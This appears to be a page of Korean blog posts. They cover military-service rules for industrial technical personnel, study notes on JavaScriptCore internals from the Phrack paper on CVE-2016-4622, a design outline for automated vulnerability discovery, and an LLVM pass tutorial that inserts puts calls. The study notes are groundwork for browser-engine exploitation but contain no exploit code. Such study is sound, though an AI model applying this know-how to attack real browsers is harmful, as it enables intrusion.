② 전문연구요원 및 산업기능요원에 대하여는 제55조에 따른 군사교육소집을 하며, 그 군사교육소집 기간은 의무복무기간에 산입한다.  <개정 2016.5.29.>

③ 전문연구요원이나 산업기능요원은 편입 당시 병역지정업체의 해당 분야에 복무하여야 한다. 다만, 병역지정업체의 폐업 등 대통령령으로 정하는 경우와 복무하는 병역지정업체의 변경, 관련업무 수행을 위한 파견·교육훈련, 학문 및 기술의 지도, 그 밖에 부득이한 사유로 인하여 편입 당시 병역지정업체의 해당 분야에 복무시킬 수 없어 대통령령으로 정하는 바에 따라 관할 지방병무청장의 승인 또는 허가를 받은 경우에는 그러하지 아니하다.  <개정 2016.5.29.>

④ 전문연구요원과 산업기능요원으로 편입될 사람은 제1항의 의무복무기간 중 성실히 복무하겠다는 서약서를 제출하여야 한다.  <개정 2016.5.29.>

⑤ 전문연구요원과 산업기능요원이 복무하여야 할 해당 분야, 의무복무기간의 계산, 서약 등 복무에 필요한 사항은 대통령령으로 정한다.  <개정 2016.5.29.>

[전문개정 2009.6.9.]




저와 같이 일반 회사에서 근무할 경우는 산업기능요원으로 분류 됩니다.

현역병 입영 대상자에서 산업기능요원으로 편입될 시에는 2년 10개월을 업체에서 근무하고, 4급 판정을 받은 보충역의 경우는 2년 2개월 근무합니다

전문연구요원의 정의에 대해서는 제 37조를 참고하시면 됩니다. 저와 무관한 내용이기 때문에 생략합니다



산업기능요원 편입 대상

 ① 다음 각 호의 어느 하나에 해당하는 사람은 원할 경우 제36조에 따른 산업기능요원으로 편입할 수 있다. 이 경우 제1호와 제2호에 해당하는 사람(사회복무요원과 사회복무요원 소집 대상인 보충역은 제외한다)과 제5호에 해당하는 사람은 대통령령으로 정하는 기술자격이나 면허를 갖추어야 한다.  <개정 2011.11.22., 2013.6.4., 2016.5.29.>

1. 병역지정업체로 선정된 공업·광업·에너지산업·건설업·수산업 또는 해운업 분야의 기간산업체에 복무하고 있는 사람(수산업 또는 해운업 분야의 경우에는 승선하여 복무하고 있는 사람이나 승선하여 복무할 사람만 해당한다)

2. 「방위사업법」 제18조와 제35조에 따른 전문연구기관 및 방위산업체{군정비부대(軍整備部隊)를 포함한다} 중에서 병역지정업체로 선정된 전문연구기관 또는 방위산업체에 복무하고 있는 사람

3. 국제적 수준의 기능을 가진 사람 중 국가이익을 위하여 특별히 필요하다고 인정하여 대통령령으로 정하는 사람

4. 후계농어업경영인으로서 관할 특별시장·광역시장·특별자치시장·도지사·특별자치도지사(특별시장·광역시장·도지사로부터 권한을 위임받은 시장·군수·구청장을 포함한다. 이하 이 절에서 같다)의 추천을 받은 사람

5. 농업회사법인의 농업기계운전요원 및 사후관리업체에 복무하고 있는 사람으로서 관할 특별자치시장·특별자치도지사·시장·군수·구청장의 추천을 받은 사람

② 제1항에도 불구하고 제1항제1호의 공업 분야 기간산업체 및 제1항제2호의 방위산업체에서 정보처리 직무 분야에 복무하는 사람은 병무청장이 정하는 관련학과의 전공, 기술훈련과정의 수료 또는 해당 분야의 복무경력이 있어야 한다.  <개정 2016.5.29.>

[전문개정 2009.6.9.] 


우리에게 해당되는 조항은 제 38조 1항과 2항중에 하나로 보이는데,

2항에서 얘기하는 방위사업법 제18조와 제 35조를 보면 국방과 직접적으로 관련된 연구기관이나 방위산업체를 명시하고 있습니다

따라서 우리가 해당되는 조항은 제 1항입니다

(이에 관해서 더 정확한 정보를 원하시는 분은 병역법 시행령 제 72조 1항 1호와 제 72조 2항 1호를 보시면 됩니다, 여기에 보안업체도 기간산업체로 정의돼있습니다)



즉 우리는 제 38조 1항 1호에 해당되므로 제 38조 1항에 따라 대통령령으로 정하는 특정 기술자격이나 면허를 갖추어야 한다는 것을 알 수 있습니다


여기서 얘기하는 대통령령은 병역법 시행령을 뜻합니다


병역법 시행령 제 79조를 봅시다


제79조(기간산업 분야 복무자 등의 산업기능요원 편입) ① 법 제38조제1항제1호 및 제2호에 따라 산업기능요원에 편입할 수 있는 사람은 병역지정업체에 복무하는 사람으로서 다음 각 호의 구분에 따른 기준에 해당하는 사람으로 하되, 분야별 및 업종별 편입 대상과 부족한 군 필요적성 등 세부 편입기준에 관한 사항은 병무청장이 정한다.  <개정 2013.12.4, 2016.11.29> 


제 79조 1항을 보면 

1. 현역병입영 

대상자: 별표 2의 학력별 기술자격 등급기준에 해당하는 사람 

이렇게 돼있습니다

근데 별표2와 전문연구요원 및 산업기능요원의 관리규정 27조가 겹치는데 관리규정이 별표2 내용을 포함하고 있기 때문에 관리규정을 봅시다




 ① 법 제38조에 따라 정보처리 직무분야에 기능요원으로 편입 또는 전직할 수 있는 대상 업종은 다음 각 호와 같다. <각호개정 2010. 3.31>

1. 정보처리업

2. 게임소프트웨어개발업

3. 애니메이션제작업

4. 영상게임기제작업

5. 정보통신기기제조업

6. 방위산업

② 법 제38조에 따라 정보처리 직무분야에 기능요원으로 편입 또는 전직할 수 있는 사람은 다음 각 호와 같다.

1. 현역병입영대상자: 정보처리 직무분야 기술자격(정보처리, 전자계산기조직응용) 소지자로서 제3항 각 호의 어느 하나에 해당하는 사람

2. 사회복무요원 복무중단자 및 사회복무요원소집대상보충역: 제3항 각 호의 어느 하나에 해당하는 사람 <개정 2013.12. 4>

③ 법 제38조제2항에 따라 병무청장이 정하는 정보처리 직무분야 관련학과의 전공, 기술훈련과정의 수료 또는 해당분야의 복무경력을 갖춘 사람은 다음 각 호와 같다.  <개정 2016.11.30.>

1. 고등학교의 정보처리 직무분야 관련학과를 졸업한 사람

2. 대학(원)의 정보처리 직무분야 관련학과를 주전공으로 2년 이상 이수한 사람 또는 복수(연합, 연계)전공이나 부전공으로 전 과정을 이수한 사람 <개정 2016. 5. 2.>

3. 「학점인정 등에 관한 법률」에 따라 제2호에 해당하는 사람과 동등한 학력을 인정받은 사람

4. 「근로자 직업능력 개발법」제2조에 따른 공공직업훈련시설의 정보처리 직무분야 기술훈련과정을 2년 이상 이수한 사람

5. 지방병무청장이 정보처리 직무분야에서 2년 이상 복무한 것으로 인정하는 사람  <개정 2016.11.30.>

6. 제4호에 따른 이수기간 및 제5호에 따른 복무경력이 각각 6개월 이상이고 그 합이 2년 이상인 사람  <개정 2016.11.30.>

④ 제3항의 정보처리 직무분야 관련학과는 다음 각 호와 같다.

1. 「국가기술자격법 시행령」제14조제7항의 “별표 4의2"에 따라 고용노동부장관이 정하는 정보처리 직무분야 관련학과 <개정 2013. 1.24, 2015. 5.19>

2. 지방병무청장이 학과명칭, 교과과정 등을 고려하여 정보처리 직무분야 관련학과로 인정한 학과

⑤ 제1항제1호부터 제3호까지의 규정에 해당하는 업체는 제2항 해당하는 사람에 한하여 기능요원으로 편입할 수 있다. <개정 2010. 3.31>

⑥ 병무청장은 제1항제4호와 제5호에 해당하는 업체의 배정인원 중 정보처리 직무분야에 편입할 수 있는 인원의 범위를 정할 수 있다. <개정 2010. 3.31>

⑦ 삭제 <2011. 9.29> 


먼저 현역병입영 대상자는 정보처리(산업기사|기사) 자격증 혹은 전자계산기조직응용은 제가 뭔지 모르겠으니 스킵하고, 정보처리 자격증을 취득하여야 하고

신검 4급 판정을 받았으면 병특을 위해 따로 자격증 취득이 필요하지 않습니다


3항을 보면

1호. 선린고, 디미고 등 특성화 고등학교에 해당

2호. 정보처리 분야 학과를 2년 이상 수료한 사람(전문학사 이상)

3호. 학점은행제나 독학사 등으로 전문학사 이상을 수료한사람

5호. 정보처리 관련 회사에서 2년이상 근무한 사람


여기서 저는 현역병입영대상자기 때문에 정보처리 산업기사 혹은 기사를 취득하고

제가 2015년 8월 24일 입사했으니 3항 5호에 의해 2017년 8월 24일이 되는 시점에 학력과 상관없이 산업기능요원 편입 자격이 갖춰집니다



병특 기간중 학점 취득

저는 학점은행제를 이용해 학사를 취득하고 대학원을 진학하려는 계획을 갖고 있습니다

하지만 병특을 만약 올해 말에 바로 시작할 수 있게 된다면 병특 기간중에 학점 취득이 안될 경우 대학원 진학까지 시간이 많이 늘어나기 때문에 찾아봤습니다


학위 취득에 관한건 아직 찾아보지 않았지만,

 ① 고등학교 이상의 학교의 장은 징집·소집 또는 지원에 의하여 입영하거나 소집 등에 의한 승선근무예비역 또는 보충역 복무(사회복무요원, 예술·체육요원, 공중보건의사, 병역판정검사전담의사, 공익법무관, 공중방역수의사, 전문연구요원 또는 산업기능요원으로 복무하는 것을 말한다. 이하 제74조에서 같다)를 하는 학생에 대하여는 입영 또는 복무와 동시에 휴학하게 하고, 그 복무를 마쳤을 때에는 원할 경우 복학시켜야 한다. 등록기간이 지났어도 학사일정에 지장이 없는 사람은 원할 경우 복학시켜야 한다.  <개정 2010.1.25., 2013.6.4., 2016.1.19., 2016.5.29.>

② 제1항의 학교(고등학교 또는 이에 해당하는 학력인정을 받은 교육시설은 제외한다)의 장은 제1항에 따라 입영 또는 복무로 인하여 휴학 중인 사람이 방송·통신 또는 인터넷 등 정보통신망을 활용한 원격수업을 수강하여 학점을 취득하려는 경우 학칙으로 정하는 바에 따라 등록을 허용할 수 있다. 

③ 입영부대 또는 복무기관의 장은 징집 또는 지원에 의한 복무로 휴학 중인 사람이 제2항에 따라 등록이 허용된 경우 복무에 지장이 없는 범위에서 원격수업을 수강할 수 있도록 하고, 원격수업의 수강에 필요한 통신장비 및 시설을 갖추도록 노력하여야 한다.  <신설 2013.6.4.>

④ 국방부장관은 교육부장관과 협의하여 병역의무를 이행 중인 사람의 학점취득 인정이 확대되도록 필요한 조치를 하여야 하고, 제2항에 따른 학교의 장과 협의하여 비용의 지원이나 그 밖에 학점취득 인정에 필요한 조치를 하도록 노력하여야 한다.  <신설 2014.5.9.>


병역법 제 73조에 따라 병역 이행중 학점 취득은 학점 인정기관 (학교, 학점은행제 사업체 등)의 재량에 따른 것으로 본인이 학점을 취득하고 있는 기관에서 병역 이행중 학점 취득을 허용한다면 아무런 문제가 없습니다




생각나는 것들 위주로 먼저 찾아봤는데 또 궁금한게 생기면 찾고 정리해서 공유하겠습니다

신고

설정

트랙백

댓글

Attacking Javascript Engines - Introduction to Overview

크리에이티브 커먼즈 라이선스
Creative Commons License

스터디 내부용으로만 공유하려고 작성한 글이기 때문에 그런것같이 보이는 문장들이 많습니다

이 글에서 공부하는 문서는 http://phrack.org/papers/attacking_javascript_engines.html 입니다


우리가 보는 문서의 CVE 넘버는 CVE-2016-4622 입니다

트렌드마이크로의 Samuel Gross가 올해 초에 발견한 취약점이라고합니다


이 취약점으로 메모리릭도 되고 페이크객체 삽입도 가능해서 이거 취약점 하나만 갖고도 익스플로잇이 가능하다고 하네요

버그가 커밋 650552a에서 수정됐고 우리가 지금 다운받아서 테스트하는 커밋인 320b1fc가 마지막으로 취약한 버젼이라고 합니다

커밋 2fa4973에서 처음 발생한 취약점인데, 2015년 초에 처음 취약코드가 커밋되고 1년동안 안발견되다가 올해 초에 발견된 취약점이라고 합니다


커밋 2fa4973를 보면 "splice에 있는 것처럼 빠르게 memcpy로 딱 처리하고 끝내는 조건이 필요할 것 같아서 커밋했다" 라고 주석을 달아 커밋했습니다

그래서 취약점 패치 커밋인 650552a를 보면 splice와 slice가 모두 같은방식으로 패치됐습니다



프랙에 나와있는 모든 내용을 사파리 9.1.1에서 다 테스트를 완료 하고 문서를 쓴거라고 하니 문서를 다 이해하고 직접 취약버젼 다운받아서 웹 브라우져상에서 쉘 따는것도 해보면 재밌을 것 같아요 (아직 사파리 옛날버젼 다운받는법은 못찾았습니다)



이 취약점을 제대로 이해하기 위해선 자바스크립트 엔진의 인터널을 잘 이해하고 있어야 하기 때문에 처음에 기본지식들을 다룹니다



Javascript envine overview


자바스크립트 엔진은 대체로

1. 하나 이상의 JIT Compiler를 포함한 컴파일러 아키텍쳐

2. 자바스크립트 VM

3. eval, slice같은 빌트인 함수들의 구현체

이렇게 세가지를 기본적으로 포함하고 있다고 합니다


이 문서에서는 1번은 제외하고 2번과 3번에 대한 이해가 필요하다고 하네요




The VM, Values, and NaN-boxing

먼저 자바스크립트 VM은 그냥 우리가 아는 VM입니다

컴파일러에서 유저 코드를 분석해서 바이트코드를 생성하면, 그 바이트코드를 실행시켜주는 역할을 합니다


문서에서는 VM에 대해서는 딱 이만큼만 설명하고 넘어갑니다


NaN-boxing도 지금 오버뷰를 보는 순간에는 자세하게 알 필요는 없고 그냥 나중에 디버거로 메모리를 봤을 때 원하는 값을 찾을 수 있을 정도로만 알면 될 듯 합니다

JSC에서는 값을 Pointer, Double, Integer로 나눠서 저장 한다고 하고

Pointer의 최상위 2바이트는 0

Double의 최상위 2바이트는 1~65534(0x1 ~ 0xfffe)

Integer의 최상위 2바이트는 65535(0xffff)

라고 합니다

그래서 어떤 변수에 0xcd80cd80을 할당해주고 메모리에서 보면

0xffff0000cd80cd80 으로 보인다는 얘기죠


[False, True, Undefined, Null] 이 네가지는 포인터로 저장된다고 하고 enum을 하나씩 할당 받았습니다

False는 0x0000000000000006

True는 0x0000000000000007

Undefined는 0x000000000000000a

Null은 0x0000000000000002

각각 메모리에서 이렇게 보일 겁니다

꼭 중요하게 여기고 정확히 이해하고 넘어갈 필요는 없어보이고 이런게 있다 정도만 알면 될 것 같습니다



Objects and Arrays

이 장에서는 비교적 중요해보이는 Butterfly 라는 구조를 다룹니다

문서를 중반정도 읽다가 자꾸 butterfly butterfly 해서 이해를 못했었는데 Overview에서 처음에 설명이 돼있더라구요


butterfly는 오브젝트 포인터를 기준으로, 오브젝트의 프로퍼티와 엘레먼트가 양옆으로 날개처럼 퍼져있는 형상이라 해서 붙여진 이름입니다



사진은 프랙에서 가져왔습니다


이런식으로 어떤 오브젝트 포인터가 있으면 선형으로 멤버가 쭉 있는게 아니라

좌속성 우요소로 날개처럼 퍼져있는 형태를 갖습니다

그래서 나중에 디버깅할때 나는 이 오브젝트의 프로퍼티에 0x41414141을 넣었는데 왜 보이질 않아! 할때 이걸 기억해서 아 오브젝트 포인터 말고 오브젝트 포인터-100정도에서 100바이트를 읽어보자 하면 찾을 수 있습니다



그뒤에 인덱싱관련해서 얘기가 나오는데

a = [];

a[0] = 42;

a[10000] = 42;

라는 코드가 있을 때 이 어레이는 10001개짜리 int형 어레이가 아니라

10000번째 인덱스 부터 저장한다는 의미의 영역을 새로 하나를 매핑을 해서 효율적으로 관리를 한다고는 하는데 문서에서도 너무 간단히 설명하고 넘어가는 내용이라 아직 중요한지는 잘 모르겠습니다


그리고 이거는 좀 중요할 수 있어 보이는데

숫자 배열이 있을 때 모든 숫자 하나하나에 NaN-boxing을 적용 시키면 

[1, 2, 3, 4, 5] 가 있을 때

[0xffff000000000001, 0xffff000000000002, 0xffff000000000003, 0xffff000000000004, 0xffff000000000005]; 이렇게 적용되기 때문에 이 값을 저장하고 가져오는데 의미없는 Nan-Boxing, NaN-Unboxing 과정을 거치게 되고, 또 공간도 불필요하게 많이 사용하게 됩니다

따라서 네이티브 타입을 지원하는 배열 형태도 있다고 합니다




Functions

문서는 함수를 엄청 장황하게 길게 설명 해놨는데, 그냥 함수들이 가질 수 있는 예약어가 있다는걸 설명하는 것 같습니다.

이 파트는 뒤에를 안읽어봐서 그런건진 모르겠는데 딱히 볼 필요 없는 섹션같습니다

그냥 오디팅 할 때 함수 구현체에서 볼 수 있는 특징? 을 아주 간단히 정리해둔 것 같습니다


신고

설정

트랙백

댓글

대략적인 구조

크리에이티브 커먼즈 라이선스
Creative Commons License

1. 코드 표절탐지 알고리즘으로 유사도 비교 -> 기존 취약코드와 가장 유사한 코드들 리스팅

2. 자연어 처리를 이용해 해당 코드의 역할 분석 (함수명, 변수명 등) -> 유저 인풋을 다룰 확률이 얼마나 되는지 예측

3. micro execution(patrice godefroid)를 이용해 해당 코드에서 취약점이 발생할 수 있는 잠재적 인풋을 계산함

4. concolic execution을 이용해 해당 코드까지 도달하면서 잠재적 인풋이 실제로 발생할 수 있는 인풋인지 알아냄

-> 취약점 발견

신고

설정

트랙백

댓글

LogFunctionNames 모듈 개발 - puts함수 호출코드 삽입

컴퓨터공부/엘엘비엠 2016.07.22 20:26
크리에이티브 커먼즈 라이선스
Creative Commons License

LogFunctionNames의 첫 버젼인 단순한 함수 이름 로깅 기능 구현을 마무리합니다

이전 글까지의 내용은

https://github.com/cd80/UtilizedLLVM/commit/4f397fa7b81eb0e3397041bf12ff4f4a48080709 

여기 정리되어 있습니다


이번 글에서는 puts함수가 항상 존재하는 상태에서 시작합니다. puts함수가 있다면 좋은것이고 없어도 동적으로 삽입해주니 이제부터 puts함수는 항상 존재합니다


이번에도 llc -march=cpp puts.ll에 의해 생성된 puts.cpp를 참고해 진행합니다

저번 글에서 만든 puts.cpp에서 main함수를 봅시다



 // Function: main (func_main)

 {


  BasicBlock* label_entry = BasicBlock::Create(mod->getContext(), "entry",func_main,0);


  // Block entry (label_entry)

  CallInst* int32_call = CallInst::Create(const_ptr_10, const_ptr_8, "call", label_entry);

  int32_call->setCallingConv(CallingConv::C);

  int32_call->setTailCall(false);

  AttributeSet int32_call_PAL;

  int32_call->setAttributes(int32_call_PAL);


  ReturnInst::Create(mod->getContext(), const_int32_9, label_entry);


 }


BasicBlock은 항상 하나 이상이 존재합니다. 이 이유는 Instruction의 parent가 BasicBlock이여야 하기 때문입니다


puts.c를 다시 봅시다

우리는 puts를 호출하는 코드밖에 작성하지 않았습니다

따라서

위의 cpp코드의 일부인

// Block entry (label_entry)

CallInst* int32_call = CallInst::Create(const_ptr_10, const_ptr_8, "call", label_entry);

int32_call->setCallingConv(CallingConv::C);

int32_call->setTailCall(false);

AttributeSet int32_call_PAL;

int32_call->setAttributes(int32_call_PAL);

위 코드는 모두 call puts를 만들기 위함임을 알 수 있습니다

저번 글에서 한것처럼 이걸 그대로 베껴봅시다


우선 우리는 저번 글에서 코드를 아래 스샷까지 작성했습니다

이 아래 

이렇게 puts함수를 호출하는 코드를 삽입하는 코드(편의상 이제부터는 puts함수를 호출하는 코드라고 부르겠습니다)

그럼 필요한 재료는 const_ptr_10, const_ptr_8, label_entry  이렇게 세가지가 됩니다


const_ptr_10부터 시작해봅시다

이걸 쓰기위해선 PointerTy_4가 필요하네요

또 FuncTy_5도 필요합니다

FuncTy_5는 PointerTy_3이 다시 필요한데 이건 다행히 붙어있네요

그럼 이 스샷 세개에 있는 코드를 합쳐봅시다



이제 const_ptr_8을 구해옵시다

이런게 지루할수도 있지만 하다보면 요리하는데 재료 구하러 산가서 나물캐오는 느낌이라 나름 재밌습니다

이번엔 gvar_array__str 이랑 const_ptr_8_indices가 필요합니다

gvar_array__str 부터 구해보죠

그런데 다행히 const_ptr_8_indices와 gvar_array__str이 모두 모여있네요



이 하나 떨어져있는거랑 위의 덩어리랑 합쳐봅시다




다했는데 빌드를 돌려보니 에러가 나네요

ArrayTy_0을 못봤습니다

ArrayTy_0도 넣어줍시다


이래도 빌드가 안됩니다

바로 이전 글들에서 언급했던, LLVM은 업데이트가 될때마다 API가 휙휙 바뀌는 문제 때문입니다

getGetElementPtr함수가 바뀌었는데요, 

LLVM 3.6.x까지는 getGetElementPtr이 우리가 사용한 형태인

static Constant *getGetElementPtr(Constant *C, ArrayRef<Constant *> IdxList,
                                    bool InBounds = false,
                                    Type *OnlyIfReducedTy = nullptr)

이렇게 생겼었습니다


3.7.x부터는 이게

static Constant *getGetElementPtr(Type *Ty, Constant *C,
                                    ArrayRef<Constant *> IdxList,
                                    bool InBounds = false,
                                    Type *OnlyIfReducedTy = nullptr)

맨 앞에 Type *Ty가 추가된 버젼으로 바뀝니다

우리가 테스트로 빌드할때 사용한 clang버젼도 3.8.0, llc버젼도 3.8.0인데 3.6버젼대의 API를 사용하는 코드로 변환된것입니다

그러려니합시다..


따라서 

여기서 사용한 getGetElementPtr에 맨 첫번째 인자로 Type을 넘겨줘야 하는데

여기서 이 Type에는 대체 어떻게 넣어야 하는지 알 수가 없으니 getGetElementPtr의 코드를 보면

이렇게 Ty가 0이면 그냥 알아서 설정해주는 부분이 있습니다



Type 인자에 0을 넣었습니다



그다음에 또 빌드를 해봅니다

label_entry를 까먹고 안넣었습니다

label_entry는 이 부분에서 사용하는데, 


http://llvm.org/docs/doxygen/html/classllvm_1_1CallInst.html

레퍼런스를 보면 우리는 

static CallInst * Create (Value *Func, ArrayRefValue * > Args, const Twine &NameStr, BasicBlock *InsertAtEnd)

이 함수를 사용했습니다

static CallInst * 

Create (Value *Func, ArrayRefValue * > Args, const Twine &NameStr, Instruction *InsertBefore=nullptr)

이거를 사용하도록 바꿀건데, InsertBefore는 기본으로 nullptr로 초기화 되므로,

이렇게 바꿔줍니다


이제 이 int32_call이라는 CallInst를 현재 함수의 첫번째 인스트럭션으로 지정해줄건데 쉽습니다

이렇게 함수의 첫번째 BasicBlock을 가져오고, Instruction List의 맨 처음에 int32_call을 푸쉬하면 됩니다


이제 중간 점검으로 빌드하고 돌려봅시다

지금까지 작성한 코드는 아래와 같습니다.

아직 끝난게 아니기 때문에 이전 글에서 말씀드린것과 마찬가지로 빌드 하면서 다른일을 못하신다면 굳이 지금 빌드하실 필요는 없습니다


#include "llvm/Pass.h"

#include "llvm/IR/Module.h"

#include "llvm/IR/Function.h"

#include "llvm/IR/BasicBlock.h"

#include "llvm/IR/Instructions.h"

#include "llvm/IR/InstrTypes.h"

#include "llvm/IR/Constants.h"

#include "llvm/IR/Type.h"

#include "llvm/ADT/Statistic.h"

#include "llvm/IR/GlobalValue.h"

#include "llvm/IR/LLVMContext.h"

#include "llvm/Transforms/Utils/Cloning.h"

#include "llvm/Transforms/Utils/BasicBlockUtils.h"

#include "llvm/CodeGen/ISDOpcodes.h"

#include "llvm/Support/raw_ostream.h"

#include "llvm/Support/Debug.h"

#include "llvm/Support/CommandLine.h"

#include "llvm/Transforms/IPO.h"

#include <list>


#include "llvm/Transforms/Utility/LogFunctionNames.h"

#include "llvm/IRReader/IRReader.h"

#include "llvm/Linker/Linker.h"

#include "llvm/Support/SourceMgr.h"

using namespace llvm;

namespace {

struct LogFunctionNames : public FunctionPass {

static char ID; // Pass identification

bool flag;

LogFunctionNames() : FunctionPass(ID) {}

LogFunctionNames(bool flag) : FunctionPass(ID) {this->flag = flag; LogFunctionNames();}


virtual bool runOnFunction(Function &F){

errs() << "Current function name: [" << F.getName() << "]\n";

errs() << "Current module name: [" << F.getParent()->getName() << "]\n";

Module *mod = F.getParent();

std::vector<Type*>FuncTy_6_args;

FunctionType* FuncTy_6 = FunctionType::get(/*Result=*/IntegerType::get(mod->getContext(), 32),

/*Params=*/FuncTy_6_args,

/*isVarArg=*/true);

Function* func_puts = mod->getFunction("puts");

if (!func_puts) {

func_puts = Function::Create(/*Type=*/FuncTy_6,

/*Linkage=*/GlobalValue::ExternalLinkage,

/*Name=*/"puts", mod); // (external, no body)

func_puts->setCallingConv(CallingConv::C);

}

AttributeSet func_puts_PAL;

{

SmallVector<AttributeSet, 4> Attrs;

AttributeSet PAS;

{

AttrBuilder B;

PAS = AttributeSet::get(mod->getContext(), ~0U, B);

}

Attrs.push_back(PAS);

func_puts_PAL = AttributeSet::get(mod->getContext(), Attrs);

}

func_puts->setAttributes(func_puts_PAL);


// prerequisites for const_ptr_10

PointerType* PointerTy_3 = PointerType::get(IntegerType::get(mod->getContext(), 8), 0);

std::vector<Type*>FuncTy_5_args;

FuncTy_5_args.push_back(PointerTy_3);

FunctionType* FuncTy_5 = FunctionType::get(/*Result=*/IntegerType::get(mod->getContext(), 32),

/*Params=*/FuncTy_5_args,

/*isVarArg=*/true);

PointerType* PointerTy_4 = PointerType::get(FuncTy_5, 0);

Constant* const_ptr_10 = ConstantExpr::getCast(Instruction::BitCast, func_puts, PointerTy_4);


// prerequisites for const_ptr_8

ArrayType* ArrayTy_0 = ArrayType::get(IntegerType::get(mod->getContext(), 8), 4);

GlobalVariable* gvar_array__str = new GlobalVariable(/*Module=*/*mod,

/*Type=*/ArrayTy_0,

/*isConstant=*/true,

/*Linkage=*/GlobalValue::PrivateLinkage,

/*Initializer=*/0, // has initializer, specified below

/*Name=*/".str");

gvar_array__str->setAlignment(1);


Constant *const_array_7 = ConstantDataArray::getString(mod->getContext(), "hi~", true);

std::vector<Constant*> const_ptr_8_indices;

ConstantInt* const_int32_9 = ConstantInt::get(mod->getContext(), APInt(32, StringRef("0"), 10));

const_ptr_8_indices.push_back(const_int32_9);

const_ptr_8_indices.push_back(const_int32_9);

Constant* const_ptr_8 = ConstantExpr::getGetElementPtr(0, gvar_array__str, const_ptr_8_indices);

gvar_array__str->setInitializer(const_array_7);


CallInst* int32_call = CallInst::Create(const_ptr_10, const_ptr_8, "call");

int32_call->setCallingConv(CallingConv::C);

int32_call->setTailCall(false);

AttributeSet int32_call_PAL;

int32_call->setAttributes(int32_call_PAL);


F.getEntryBlock().getInstList().push_front(int32_call);

return false;

}

};

}


char LogFunctionNames::ID = 0;

static RegisterPass<LogFunctionNames> X("logger", "inserting logging routine for functions");


Pass *llvm::createLogger() {

return new LogFunctionNames();

}


Pass *llvm::createLogger(bool flag) {

return new LogFunctionNames(flag);

}




빌드하고 돌려보세요

또잉~~ 함수이름이 출력된게 아니라 hi~ 가 출력이 됐네요

그 이유가 궁금하신분은 puts.c를 읽어보세요

puts("hi~"); 라고 적혀있을겁니다

우리는 그걸 그대로 베껴왔으니 puts("hi~"); 가 함수마다 삽입된겁니다

그래도 puts함수 호출에는 성공했으니 거의다 왔습니다 조금만 더 해봅시다


hi~는 어딨는걸까요?

아까 gvar_array__str 를 설정한 부분입니다

맨위에 hi~가 있죠

메세지를 어떻게 하는지는 자유지만 저는 아래처럼 했습니다

free까지 해주면 완벽하겠지만 쉽게쉽게 합시다

코드의 가독성을 위해 메모리 관리를 포기하는 미친짓을 해도 괜찮습니다. 제품을 내려는게 아니라 공부하려는 거니까요 하하

한가지 더 덧붙일건, 지금 현재 코딩 스타일은 굉장히 쓰레기라는 겁니다. 최대한 설명하기에 편하도록 예제코드에서 그대로 복붙하는 방식을 쓰고 있는데, 실제로 코드를 릴리즈 할땐 이쁘게 작성하세요


이대로 빌드하면 빌드는 잘되지만 컴파일할때 에러가 생깁니다

이번 에러는 블로그에선 다루지 않겠지만, 코드를 보면 바로 이해하실 수 있습니다

스스로 해결하는 시간이 굉장히 중요하기 때문에 스스로 해결해보시고, 해결을 완료하거나 도저히 모르겠다 싶을 땐

https://github.com/cd80/UtilizedLLVM/commit/01241a782506a485220b48bb68654c843d8d4a3e

이 커밋을 참고해보세요. 글에서 설명한것과 코드가 어떻게 다른가 보면 됩니다




완성했습니다~_~_~

우리가 개발한건 완전히 초기버젼으로, 앞으로 이 기능을 좀더 간지나게 개선하긴 하겠지만

우선 지금은 간지나게 개선하는 것보단 새로운 기능을 또 구현해보는게 더 재밌으니 개선은 미루고 다음 글에서는 새로운 기능을 시작해보겠습니다

신고

설정

트랙백

댓글

LogFunctionNames 모듈 개발 - puts함수 동적 삽입

컴퓨터공부/엘엘비엠 2016.07.22 20:26
크리에이티브 커먼즈 라이선스
Creative Commons License

우리는 저번 글에서 컴파일 할 때 함수 이름들을 로깅하는것을 테스트 해봤습니다

이번 글과 다음 글에서는 함수 이름 로깅 기능을 컴파일러에서 수행하는 것이 아닌, 해당 기능을 수행하는 코드를 컴파일되는 프로그램에 삽입합니다

하다가 중간결과를 확인하고 싶으실 때는 직접 빌드해서 돌려보시면 됩니다. 언제 빌드해서 확인해볼만 한지는 글 중간 중간 말씀드리겠습니다



위 사진은 우리가 가장 많이 사용할 각각 요소에 대한 포함관계를 설명합니다


좀더 쉬운 이해를 위해 아래 아이다 사진을 참고해주세요

우선 Module은 아이다에서 이해하기 쉽지는 않습니다. LLVM 에서 모듈이란 각 파일마다 구성됩니다.

예를 들어 이전 글에서 ./clang -o test test.c로 컴파일한 코드에 F.getParent()->getName() 을 로깅해보면 test.c가 출력됩니다


그 다음 Function은 이름 그대로 각각 함수마다 구성됩니다.


이 설명을 시작한 이유는, 다른건 모두 직관적으로 알 수 있지만 Basic Block에 대한 개념을 모르시는 분이 계실까봐입니다

BasicBlock은 일반적으로 분기와 분기 사이의 코드를 뜻합니다

즉 항상 선형으로 동작되는 코드들의 모음을 BasicBlock이라고 하고, IDA에서 그래프뷰로 볼때 각각 직사각형은 모두 Basic Block들입니다



이전 글에서 세팅한 뼈대 코드와 함수 이름을 로깅하는 코드에

errs() << "Current module name: [" << F.getParent()->getName() << "]\n";

위 코드를 추가하고 테스트 해보세요 


getParent()함수는 GlobalValue 클래스에서 정의합니다


Parent 멤버 선언

http://llvm.org/docs/doxygen/html/GlobalValue_8h_source.html#l00115

getParent 함수 구현체

http://llvm.org/docs/doxygen/html/GlobalValue_8h_source.html#l00361


즉 Parent는 Module * 형으로 선언돼있고 getParent()는 Parent를 리턴하기 때문에, getParent()의 리턴 형은 Module *입니다

그러면 Instruction이나 BasicBlock 클래스에서도 getParent가 Module을 리턴하느냐 하면 아닙니다. Instruction과 BasicBlock 클래스에서는 함수들이 모두 오버라이딩 돼있습니다

각각 레퍼런스를 확인해보면 맨위의 다이어그램에 맞게 parent를 리턴하는 것을 볼 수 있습니다



이제 첫 주제인 puts함수 삽입을 어떻게 하는가를 알아보겠습니다

그전에 우리는 LLVM IR파일에 좀더 익숙해져야 합니다


단순한 코드를 작성합니다

우리가 처음 쉘코드를 공부할 때 gcc -S write.c 와 같이 하면 write.S가 생성이 되고, 여긴 어셈블리어 코드가 들어가 있었습니다

llvm 에서도 똑같이 할 수 있는데, -emit-llvm이라는 옵션을 추가로 주면 어셈블리 파일이 아닌 LLVM IR파일을 생성해줍니다



IR파일을 읽으면 아래와 비슷하게 나옵니다

; ModuleID = 'puts.c'

target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"

target triple = "x86_64-unknown-linux-gnu"


@.str = private unnamed_addr constant [4 x i8] c"hi~\00", align 1


; Function Attrs: nounwind uwtable

define i32 @main() #0 {

entry:

